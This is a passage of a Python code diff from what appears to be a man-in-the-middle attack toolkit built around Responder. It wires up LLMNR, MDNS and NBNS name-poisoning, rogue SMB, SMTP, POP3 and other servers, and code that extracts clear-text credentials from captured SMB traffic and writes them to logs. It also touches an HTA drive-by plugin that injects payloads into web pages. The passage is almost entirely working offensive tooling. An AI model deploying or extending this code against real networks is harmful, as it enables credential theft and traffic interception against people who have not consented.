print "Error starting POP3 server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
# POP3 Server class
class POP3(BaseRequestHandler):
class POP3Server(BaseRequestHandler):
def SendPacketAndRead(self):
Packet = POPOKPacket()

View file

@ -74,6 +74,8 @@ def Is_LMNT_Anonymous(data):
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
packet = data
try:
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
#print hex(Dialect)
@ -99,6 +101,9 @@ def Parse_Nego_Dialect(data):
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
except Exception:
print 'Exception on Parse_Nego_Dialect! Packet hexdump:'
print hexdump(packet)
#Set MID SMB Header field.
def midcalc(data):
@ -124,7 +129,7 @@ def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
settings.Config.ResponderLogger.info("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
@ -237,7 +242,7 @@ def IsNT4ClearTxt(data, client):
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
settings.Config.ResponderLogger.info("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP

View file

@ -15,12 +15,44 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
import core.responder.settings as settings
import threading
from utils import *
from core.responder.utils import *
from base64 import b64decode, b64encode
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
class SMTP:
def start(self):
try:
if OsInterfaceIsSupported():
server1 = ThreadingTCPServer((settings.Config.Bind_To, 25), ESMTP)
server2 = ThreadingTCPServer((settings.Config.Bind_To, 587), ESMTP)
else:
server1 = ThreadingTCPServer(('', 25), SMB1)
server2 = ThreadingTCPServer(('', 587), SMB1)
for server in [server1, server2]:
t = threading.Thread(name='SMTP', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting SMTP server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
# ESMTP Server class
class ESMTP(BaseRequestHandler):

View file

@ -17,7 +17,6 @@
#
import re
import flask
from plugins.plugin import Plugin
from plugins.inject import Inject
@ -34,7 +33,7 @@ class HTADriveBy(Inject, Plugin):
Inject.initialize(self, options)
self.html_payload = self.get_payload()
from core.servers.http.HTTPserver import HTTPserver
from core.servers.HTTP import HTTP
def hta_request(path):
if path == options.hta_app.split('/')[-1]:
with open(options.hta_app) as hta_file:

View file

@ -17,7 +17,6 @@
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import flask
from plugins.plugin import Plugin
from twisted.internet import reactor
@ -36,12 +35,40 @@ class Responder(Plugin):
self.ip = options.ip
# Load (M)DNS, NBNS and LLMNR Poisoners
from core.poisoners.LLMNR import LLMNR
from core.poisoners.MDNS import MDNS
from core.poisoners.NBTNS import NBTNS
LLMNR().start()
MDNS().start()
NBTNS().start()
import core.poisoners.LLMNR as LLMNR
import core.poisoners.MDNS as MDNS
import core.poisoners.NBTNS as NBTNS
LLMNR.start()
MDNS.start()
NBTNS.start()
if self.config["Responder"]["SQL"].lower() == "on":
from core.servers.MSSQL import MSSQL
MSSQL().start()
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.servers.Kerberos import Kerberos
Kerberos().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.servers.FTP import FTP
FTP().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.servers.POP3 import POP3
POP3().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.servers.SMTP import SMTP
SMTP().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.servers.IMAP import IMAP
IMAP().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.servers.LDAP import LDAP
LDAP().start()
def reactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)